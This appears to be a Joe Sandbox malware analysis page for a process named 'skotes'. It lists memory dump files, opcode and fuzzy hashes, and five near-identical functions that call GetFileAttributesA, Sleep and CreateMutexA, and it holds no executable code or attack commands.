Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: aca9e560627e80a4e1046b5d9cb314b5acd9f099641c4b3941c19a5d4ff5b8a7
Instruction ID: ecf15fce3cefe09bd3441353434ddd40344a19d0911c66aed90de82ad4357c5f
Opcode Fuzzy Hash: aca9e560627e80a4e1046b5d9cb314b5acd9f099641c4b3941c19a5d4ff5b8a7
Instruction Fuzzy Hash: 5D314A31B042049BFB189BB8EC9DB6DB772EFD6310F648219E018973D5D7359A808712

Function 0017A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A2E6
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: b7c2982cab05f879defc6650c0d6f0617f3e3375a8ccc0a074e3deaa2adbffd9
Instruction ID: 95fea3bf85cb955cfaf6b99106961f9d02b32bb6d55b8198588c1a3486e8efb6
Opcode Fuzzy Hash: b7c2982cab05f879defc6650c0d6f0617f3e3375a8ccc0a074e3deaa2adbffd9
Instruction Fuzzy Hash: D73148327042049BEB189F78EC99BADB772EFD2314F64C218E0199B7D5C7769A80C712

Function 0017A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A41B
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 0b5062e471a41116058ad6fec15a61e3aa4985dade00e706aaeea61a0ccba5c2
Instruction ID: 3b9745e8c28dfcf2c3d6d22990b04aaf42c951efe0f4e3ac9cf50fac9f72385c
Opcode Fuzzy Hash: 0b5062e471a41116058ad6fec15a61e3aa4985dade00e706aaeea61a0ccba5c2
Instruction Fuzzy Hash: 2A314E327002049BEB189BB8EC9DB6DB771DFD1314F68C218E0599B3D5D7769A808753

Function 0017A54D Relevance: 4.6, APIs: 3, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A550
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ec66f9595ecca7e7fe90c99e54744c94e7d947b0d6bf08c7d9511cbfb91e763c
Instruction ID: 22c0e2185f451a64ed355fbf35e2be3fbf65b5f7bc5ea26653c042b2889cfc31
Opcode Fuzzy Hash: ec66f9595ecca7e7fe90c99e54744c94e7d947b0d6bf08c7d9511cbfb91e763c
Instruction Fuzzy Hash: 09311831B042049BEB18DBB8EC99B6DB772EFD6324F64C218E1589B3D5C7359A818712

Function 0017A682 Relevance: 4.6, APIs: 3, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A685
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7e31934f550dcb0a1b4dc15f615ed2f0f6abeac58cd9aa62832733f6f612c071
Instruction ID: ec20f9bf70f7bb830e4e5e31a7d8b9ecfcdd9a5fd9b018e94d32889f676c724d
Opcode Fuzzy Hash: 7e31934f550dcb0a1b4dc15f615ed2f0f6abeac58cd9aa62832733f6f612c071
Instruction Fuzzy Hash: 4E314831B002048BEB18DBB8EC99BADB772DFD1324F64C218E0189B3D5C7359A808B53

Function 0017A7B7 Relevance: 4.6, APIs: 3, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017A7BA
Sleep.KERNEL32(00000064,?), ref: 0017A963
CreateMutexA.KERNEL32(00000000,00000000,001D3254), ref: 0017A981

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: ff0dc9369e16f2be4c8980de2ef8d51f4eed0faee691d44d86b1998e83c2ebc5
Instruction ID: 04b69d8f49143da7ee41cb5493759cb4ef59f4b45aaaf2b720f6ad7f906a488d
Opcode Fuzzy Hash: ff0dc9369e16f2be4c8980de2ef8d51f4eed0faee691d44d86b1998e83c2ebc5
Instruction Fuzzy Hash: B0311632B00204CBEB189B78ED99BADB772DFD5314F64C218E0189B3D5D7369A818713

